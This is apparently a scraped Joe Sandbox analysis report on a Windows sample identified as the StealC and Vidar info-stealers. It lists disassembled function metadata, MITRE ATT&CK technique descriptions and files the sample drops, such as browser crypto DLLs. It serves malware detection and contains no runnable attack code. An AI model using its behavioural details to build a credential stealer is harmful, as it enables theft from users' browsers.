Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Unlock$IdentityUniqueValuecallocfreemallocmemcpystrcpystrlen
String ID: SSL
API String ID: 2424436289-2135378647
Opcode ID: 633dbb0f5b8fcf0114b94b5aaec388b656231d5fef2f48eb3fc923ca137bf525
Instruction ID: 79e1a2b9a945a7cdd6da3c25da324d2b87b92f674a031850191d99d355ed7790
Opcode Fuzzy Hash: 633dbb0f5b8fcf0114b94b5aaec388b656231d5fef2f48eb3fc923ca137bf525
Instruction Fuzzy Hash: 09217BB264EB49EFCA01DF11A547B127E73BF4A308710512AD52A4BB28DB3151889FDD

Function 6C640F00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

PR_GetPageSize.NSS3(6C640936,FFFFE8AE,?,6C5D16B7,00000000,?,6C640936,00000000,?,6C5D204A), ref: 6C640F1B

Part of subcall function 6C641370: GetSystemInfo.KERNEL32(?,?,?,?,6C640936,?,6C640F20,6C640936,FFFFE8AE,?,6C5D16B7,00000000,?,6C640936,00000000), ref: 6C64138F

PR_NewLogModule.NSS3(clock,6C640936,FFFFE8AE,?,6C5D16B7,00000000,?,6C640936,00000000,?,6C5D204A), ref: 6C640F25

Part of subcall function 6C641110: calloc.MOZGLUE(00000001,0000000C,?,?,?,?,?,?,?,?,?,?,6C640936,00000001,00000040), ref: 6C641130
Part of subcall function 6C641110: strdup.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,6C640936,00000001,00000040), ref: 6C641142
Part of subcall function 6C641110: PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES,?,?,?,?,?,?,?,?,?,?,?,?,?,6C640936,00000001), ref: 6C641167

Strings

clock, xrefs: 6C640F20

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: InfoModulePageSecureSizeSystemcallocstrdup
String ID: clock
API String ID: 536403800-3195780754
Opcode ID: 7bd507447a5f1976987e775707a9416c202bbc8fe3c1cec1b89e647f1d5c469a
Instruction ID: 1844423cb9bcfea72ee5bdbefba9bbbadc5b925da43fda4c14c0cdf3bf9e1e7c
Opcode Fuzzy Hash: 7bd507447a5f1976987e775707a9416c202bbc8fe3c1cec1b89e647f1d5c469a
Instruction Fuzzy Hash: 48D0123160915495C7116B979C45F96BABCC7C367AF10CC76E22842D104A6450FAD36D

Function 6C6B0DB0 Relevance: 5.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

calloc.MOZGLUE ref: 6C6B0DF5
TlsGetValue.KERNEL32 ref: 6C6B0E2D
TlsGetValue.KERNEL32 ref: 6C6B0E58
TlsGetValue.KERNEL32 ref: 6C6B0E84

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Value$calloc
String ID:
API String ID: 3339632435-0
Opcode ID: 462e8037a07cfb7133b150dfb5c5bd2667d678f7e5131b59f1a70f5412d4b6ec
Instruction ID: 744a035fe7b52c0740bfd871d8ace85b4727ddb01dd1260ce638e671f2d8d351
Opcode Fuzzy Hash: 462e8037a07cfb7133b150dfb5c5bd2667d678f7e5131b59f1a70f5412d4b6ec
Instruction Fuzzy Hash: B731E8F0645391CBDB005F78D6446A97FB4BF06348F118679E88897A11EB30D4A7CB89

Function 6C6B0F10 Relevance: 5.1, APIs: 4, Instructions: 52stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C652AF5,?,?,?,?,?,6C650A1B,00000000), ref: 6C6B0F1A
malloc.MOZGLUE(00000001), ref: 6C6B0F30
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C6B0F42
TlsGetValue.KERNEL32 ref: 6C6B0F5B

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Valuemallocmemcpystrlen
String ID:
API String ID: 2332725481-0
Opcode ID: b39978b4c5730ffdd7426da3ea2737f22db2630b4c39097ec18d18a8074fedac
Instruction ID: ae60cf500922c526f57c7762f5cf6f2db0444915f73aba98d3560a5850282183
Opcode Fuzzy Hash: b39978b4c5730ffdd7426da3ea2737f22db2630b4c39097ec18d18a8074fedac
Instruction Fuzzy Hash: 8001DDF1F002506BE7101B3A9F049A67E6CEF52399F014171ED18D6A11EB31C465C7EA

Function 6C661EB0 Relevance: 5.0, APIs: 4, Instructions: 38COMMON

Download Yara Rule

APIs

free.MOZGLUE(?), ref: 6C661ECE
free.MOZGLUE(?), ref: 6C661EDF
free.MOZGLUE(?), ref: 6C661EEF
free.MOZGLUE(?), ref: 6C661EF5

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 716390ef8a932694d11d5bf0a2beb0bdae00bd7f98d0cc809d6825187ef5dd7e
Instruction ID: e77b6c7f75642fe41c21af48cc66097eca8c0b5c486f7411565774c262e82046
Opcode Fuzzy Hash: 716390ef8a932694d11d5bf0a2beb0bdae00bd7f98d0cc809d6825187ef5dd7e
Instruction Fuzzy Hash: 09F054B17005056BEB009BA6EC45E6773ACFF45695B140435EC19C3E00D726F51596A6

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AAKEGIJE

C:\ProgramData\AKKEGHJDHDAFHIDHCFHD

C:\ProgramData\CGDHIEGCFHCGDGCAECBG

C:\ProgramData\GIIDBGDA

C:\ProgramData\IECBGIDAEHCGDGCBKEBGDGIJDG

C:\ProgramData\JJDBFCAEBFIJJKFHDAEC

C:\ProgramData\JJJEBGDAFHJEBGDGIJDHCAKJKK

C:\ProgramData\chrome.dll

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

Windows Analysis Report
file.exe

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre